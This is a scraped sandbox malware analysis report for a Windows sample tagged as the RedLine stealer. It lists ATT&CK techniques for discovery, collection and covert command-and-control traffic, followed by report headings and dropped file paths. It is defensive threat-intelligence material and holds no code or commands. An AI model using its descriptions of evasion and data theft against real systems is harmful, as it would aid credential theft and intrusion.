Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report RgIbrhxoEx.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: RedLine

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Persistence and Installation Behavior

Snort Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Spreading

Software Vulnerabilities

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\LjGABleGAy.exe.log

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\RgIbrhxoEx.exe.log

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_1doh44bp.5xz.psm1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_3cpeqnkc.pbx.psm1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_cuqgxjxh.1xj.psm1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_deftesll.lie.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_iipxnmmf.ezd.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_kz5ccsmr.ge3.psm1

Windows Analysis Report
RgIbrhxoEx.exe